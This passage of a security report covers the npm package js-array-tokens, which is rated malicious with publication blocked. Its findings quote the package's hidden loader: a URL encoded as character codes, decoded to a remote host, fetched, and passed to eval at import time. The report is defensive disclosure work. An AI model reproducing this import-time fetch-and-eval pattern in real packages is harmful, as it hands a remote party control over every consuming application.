The remote operator can change the executed payload at any time. - **Trigger:** Importing or requiring the package entry point. - **Impact:** Arbitrary JavaScript can run with the permissions of the consuming application. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-26T20:56:12.969Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Remote payload fetch followed by eval. - **Attack narrative:** The package entry point calls getToken immediately. It reconstructs a remote URL from character codes, fetches a JSON token, and evaluates that token as JavaScript. This gives the remote endpoint control over code executed by any application that imports the package. - **Rationale:** The package contains import-time remote code execution through eval, which is a concrete malicious execution chain. The absence of lifecycle scripts does not mitigate runtime compromise of consumers. - **Files touched:** index.js - **Network endpoints:** https://access-token-delta.vercel.app/ ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The main module runs immediately when imported., It fetches a remote JSON token and passes it to eval., The encoded endpoint resolves to https://access-token-delta.vercel.app/. - **Evidence against:** The manifest has no lifecycle scripts., No local file writes, credential harvesting, or shell execution are present in the inspected files. ## Public findings ### 1. Low: Eval - **Category:** Source - **Confidence:** 45.0% - **Path:** index.js - **Public source:** [View source]() Package source references a known benign dynamic code generation pattern. Public source snippet (untrusted): ```javascript L10: const { token } = await (await fetch(String.fromCharCode(...array))).json(); L11: eval(token) L12: ``` ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 95.0% - **Path:** index.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = token_shingles matchedPackage = date-fns-sync@1.0.0 matchedPath = index.js matchedIdentity = npm:ZGF0ZS1mbnMtc3luYw:1.0.0 similarity = 1.000 shingleOverlap = 48 summary = source token shingles overlapped finalized malicious source ``` ### 4. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The main module runs immediately when imported. Public source snippet (untrusted): ```javascript const { token } = await (await fetch(String.fromCharCode(...array))).json(); eval(token) ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The encoded endpoint resolves to https://access-token-delta.vercel.app/. Public source snippet (untrusted): ```javascript const array = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 99, 99, 101, 115, 115, 45, 116, 111, 107, 101, 110, 45, 100, 101, 108, 116, 97, 46, 118, 101, 114, 99, 101, 108, 46, 97, 112, 112, 47 ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** js-array-tokens - **Ecosystem:** npm - **Version:** 1.0.2 - **License:** MIT - **Version published:** 2026-08-26T20:47:22.696Z - **Package first seen:** 2026-08-26T20:56:12.969Z - **Package last seen:** 2026-08-26T20:56:12.969Z - **Known versions:** 1 - **Latest version:** 1.0.2 - **Appeal under review:** No - **Description:** js tokens array - **Keywords:** js-array-tokens - **Artifact files:** 2 - **Artifact unpacked size:** 669 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
